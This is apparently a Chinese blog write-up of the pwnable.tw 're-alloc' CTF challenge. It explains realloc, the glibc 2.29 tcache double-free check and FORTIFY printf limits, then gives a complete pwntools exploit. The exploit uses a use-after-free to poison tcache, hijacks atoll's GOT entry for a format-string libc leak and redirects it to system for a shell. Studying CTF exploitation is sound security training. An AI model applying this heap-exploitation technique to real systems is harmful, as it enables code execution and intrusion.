[pwnable.tw] re-alloc 极致技巧

  • A+
所属分类:菜鸟笔记

不愧是pwnable,又让我见识到了极致的技巧利用...

前置知识

关于realloc

realloc原型是extern void *realloc(void *mem_address, unsigned int newsize);

  1. 第一个参数为空时,realloc等价于malloc(size)
  2. 第一个参数不为空时
    • 若mem_address被检测到不是堆上的地址,会直接报错
    • 若mem_address为合法堆地址
      • 若第二个参数size=0,则realloc相当于free(mem_address)
      • 若第二个参数不为0,这时才是realloc本身的作用——内存空间的重分配
        • 如果realloc的size小于原有size则内存位置不会变动,函数返回原先的指针
        • 如果realloc的size大于原有size,则会从高地址拓展堆块大小或直接从top chunk取出合适大小的堆块,然后用memcpy将原有内容复制到新堆块,同时free掉原堆块,最后返回新堆块的指针
    • 注意,realloc修改size后再free和直接free进入的是不同大小的bin(这点很重要)

关于glibc2.29中的tcache

glibc2.29中的tcache多加了一个防止double free的验证机制,那就是在free掉的tcache chunk的next域后增加一个key域,写入tcache arena所在位置地址。如果free时检测到这个key值,就会在对应tcache bin中遍历查看是否存在相同堆块。(这点很重要,涉及到如何tcache double free

关于glibc2.29 tcache机制部分源码:

  • _int_malloc part
    • 这里我在本地和远程的环境出现了不同,远程中没有在取出tcache时判断同一条bin上剩余tcache chunk的数量,所以无需先伪造足够长度的bin再进行tcache attack。但是我本地的kali环境比较奇葩,存在这一检测机制,导致我只能按照本地的环境来调试,好在这样也能打通远程。
    • 因为虚拟机装ubuntu1904问题很多,所以没办法直接用对应版本的库,有点小麻烦
  if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
    {
      idx = fastbin_index (nb);
      mfastbinptr *fb = &fastbin (av, idx);
      mchunkptr pp;
      victim = *fb;

      if (victim != NULL)
    {
      if (SINGLE_THREAD_P)
        *fb = victim->fd;
      else
        REMOVE_FB (fb, pp, victim);
      if (__glibc_likely (victim != NULL))
        {
          size_t victim_idx = fastbin_index (chunksize (victim));
          if (__builtin_expect (victim_idx != idx, 0))
        malloc_printerr ("malloc(): memory corruption (fast)");
          check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
          /* While we're here, if we see other chunks of the same size,
         stash them in the tcache.  */
          size_t tc_idx = csize2tidx (nb);
          if (tcache && tc_idx < mp_.tcache_bins)
        {
          mchunkptr tc_victim;

          /* While bin not empty and tcache not full, copy chunks.  */
          while (tcache->counts[tc_idx] < mp_.tcache_count
             && (tc_victim = *fb) != NULL)
            {
              if (SINGLE_THREAD_P)
            *fb = tc_victim->fd;
              else
            {
              REMOVE_FB (fb, pp, tc_victim);
              if (__glibc_unlikely (tc_victim == NULL))
                break;
            }
              tcache_put (tc_victim, tc_idx);
            }
        }
#endif
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }
    }
  • _int_free part
#if USE_TCACHE
  {
    size_t tc_idx = csize2tidx (size);
    if (tcache != NULL && tc_idx < mp_.tcache_bins)
      {
    /* Check to see if it's already in the tcache.  */
    tcache_entry *e = (tcache_entry *) chunk2mem (p);

    /* This test succeeds on double free.  However, we don't 100%
       trust it (it also matches random payload data at a 1 in
       2^<size_t> chance), so verify it's not an unlikely
       coincidence before aborting.  */

    //这里就是通过对key的判断预防double free的机制
    if (__glibc_unlikely (e->key == tcache))
      {
        tcache_entry *tmp;
        LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
        for (tmp = tcache->entries[tc_idx];
         tmp;
         tmp = tmp->next)
          if (tmp == e)
        malloc_printerr ("free(): double free detected in tcache 2");
        /* If we get here, it was a coincidence.  We've wasted a
           few cycles, but don't abort.  */
      }

    //tcache容量有上限
    if (tcache->counts[tc_idx] < mp_.tcache_count)
      {
        tcache_put (p, tc_idx);
        return;
      }
      }
  }
#endif
  • tcache_put part
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;

  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}
  • tcache_get part
static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  e->key = NULL;
  return (void *) e;
}

综上可以发现,tcache的double free检测机制,其实可以通过uaf清空key域来绕过。但是远程环境中不检测当前tcache bin剩余tcache chunk数量,可以直接改next域。

关于printf

提到printf不得不提本题中开启的FORTIFY保护,这保护增加了以下限制:

  1. 包含%n的格式化字符串不能位于程序内存中的可写地址。(不能任意写了)
  2. 当使用位置参数时,必须使用范围内的所有参数。所以如果要使用%7$x,你必须同时使用1,2,3,4,5和6。(这条不是很确定,因为本题直接用%21$p就可以打通,所以暂时搁置

printf的返回值是输出字符的数量,这一特性引申了一个技巧,那就是用printf_plt去覆盖atoll_got的内容。而atoll本身接收一个字符串参数,这就使得atoll处可以产生格式化字符串泄露。而且,通过控制printf的返回值,可以尽可能减小调用atoll时造成的错误(例如,通过"%xc"可以控制printf返回x,从而实现取得可控大小整数的目的)。

题目分析

主要函数

  1. allocate

程序获取用户输入的大小和堆块下标来分配堆块内存,并在bss上保存堆块索引。但是下标只能为0,1,堆块大小也限制在0x78内(不好造出unsorted_bin来泄露地址)。

在读取内容的时候存在一个offbynull,然而并没有啥用....

  1. realloca

这里对堆块索引保存的指针指向realloc,同样有0x78大小限制。但是没有限制size=0,这就存在了索引不会清空的任意free,并且可以任意uaf,这就是本程序最主要的漏洞所在地。

  1. rfree

本身没啥洞,但是后面要借助其中的atoll来进行格式化字符串攻击泄露地址。

EXP

from pwn import *

#p = process("./re-alloc")
p = remote("chall.pwnable.tw", 10106)
elf = ELF("./re-alloc")
libc = ELF("./libc-remote.so")
context.log_level = "debug"

def alloc(idx, size, content):
    p.recvuntil(b"Your choice: ")
    p.sendline(b"1")
    p.recvuntil(b"Index:")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Size:")
    p.sendline(str(size).encode())
    p.recvuntil(b"Data:")
    p.send(content)

def realloc(idx, size, content):
    p.recvuntil(b"Your choice: ")
    p.sendline(b"2")
    p.recvuntil(b"Index:")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Size:")
    p.sendline(str(size).encode())
    if len(content)>0:
        p.recvuntil(b"Data:")
        p.send(content)

def free(idx):
    p.recvuntil(b"Your choice: ")
    p.sendline(b"3")
    p.recvuntil(b"Index:")
    p.sendline(str(idx).encode())

def exit():
    p.recvuntil(b"Your choice: ")
    p.sendline(b"3")

def exp():
    #const
    printf_plt = elf.symbols[b"printf"]
    atoll_plt = elf.symbols[b"atoll"]
    atoll_got = elf.got[b"atoll"]
    print("printf_plt:", hex(printf_plt))
    print("atoll_plt:", hex(atoll_plt))
    print("atoll_got:", hex(atoll_got))

    # fake tcache
    ## get two tcache in same mem
    ## tcache attack
    alloc(0, 0x28, b"aaaa")
    realloc(0, 0, b"")
    realloc(0, 0x28, p64(atoll_got))
    alloc(1, 0x28, b"aaaa")
    realloc(0, 0x38, b"a"*8)
    free(0)
    realloc(1, 0x48, b"a"*8)
    free(1)
    #gdb.attach(p)

    ## get two tcache in same mem
    ## tcache attack
    alloc(0, 0x58, b"bbbb")
    realloc(0, 0, b"")
    realloc(0, 0x58, p64(atoll_got))
    alloc(1, 0x58, b"bbbb")
    realloc(0, 0x68, b"a"*8)
    free(0)
    realloc(1, 0x78, b"a"*8)
    free(1)
    #gdb.attach(p)


    #make atoll_got->printf_plt
    alloc(0, 0x28, p64(printf_plt)) #*


    #leak libc_in_stack
    #gdb.attach(p, "b *0x401603\nc\n")
    p.sendafter(b"Your choice: ", b"3\n")
    p.sendafter(b"Index:", b"%21$p")

    leak = int(p.recvuntil(b"Invalid", drop=True), 16)
    libc_base = leak - 235 - libc.symbols[b"__libc_start_main"]
    system = libc_base + libc.symbols[b"system"]
    binsh = libc_base + next(libc.search(b"/bin/sh"))
    print("leak:", hex(leak))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    print("binsh:", hex(binsh))

    # make atoll_got->system
    p.sendafter(b"Your choice: ", b"1\n")
    p.sendafter(b"Index:", b"a")
    p.sendafter(b"Size:", b"%88c")
    p.sendafter(b"Data:", p64(system))
    #gdb.attach(p)

    #getshell
    p.sendafter(b"Your choice: ", b"3\n")
    p.sendafter(b"Index:", b"/bin/sh\x00")

    p.interactive()

if __name__ == "__main__":
    exp()
eqqie

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: